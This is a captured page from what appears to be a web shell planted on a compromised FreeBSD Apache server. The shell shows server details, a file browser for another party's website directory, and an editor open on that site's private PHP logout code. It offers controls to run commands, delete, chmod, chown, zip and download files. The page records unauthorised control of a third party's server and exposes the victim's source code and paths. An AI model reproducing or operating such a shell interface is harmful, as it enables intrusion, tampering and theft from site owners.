TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
app
Rest
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/app/Rest/Logout.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Rest; use Nette\Database\Context; use RestServer\IHttpRequest; use RestServer\IIdentity; use RestServer\IParametrs; use RestServer\IPresenter; use RestServer\Response; use Nette\Http\Request; use Nette\Security\User; /** * Logout, access token is required. * @author Jan Pospisil * @param ( * name = logout_all_devices, * type = bool * ) */ class Logout extends \Nette\Object implements IPresenter { private $identity; private $connection; public function __construct(IIdentity $identity, Context $context){ $this->identity = $identity; $this->connection = $context; } /** * Logout user. * @param IParametrs $request * @param Response $response */ public function run(IParametrs $request, Response $response) { $logoutAllDevices = $request->get('logout_all_devices'); $id = $this->identity->getId(); $at = $this->identity->getAccessTokenRow(); if($at){ $at->delete(); } if($logoutAllDevices){ $this->connection->table('user_access_token')->where('user_id', $id)->delete(); } } }
Crotin
Name
Size
Permissions
Modified
User/Group
Search
-
0755
2016-02-22 19:01:21
Unknown/Unknown
Events
-
0755
2016-02-23 12:46:55
Unknown/Unknown
Login.php
2874
0644
2016-01-14 22:08:37
Unknown/Unknown
Users
-
0755
2016-02-27 10:21:45
Unknown/Unknown
Dictionary
-
0755
2016-02-22 19:01:21
Unknown/Unknown
Logout.php
1125
0644
2016-01-11 22:55:22
Unknown/Unknown
Url
-
0755
2018-07-10 18:04:12
Unknown/Unknown
Options.php
384
0644
2016-02-27 09:38:01
Unknown/Unknown
Activity
-
0755
2016-06-16 11:51:47
Unknown/Unknown
Me.php
1151
0644
2016-01-15 10:19:48
Unknown/Unknown
Video
-
0755
2016-01-14 17:56:42
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin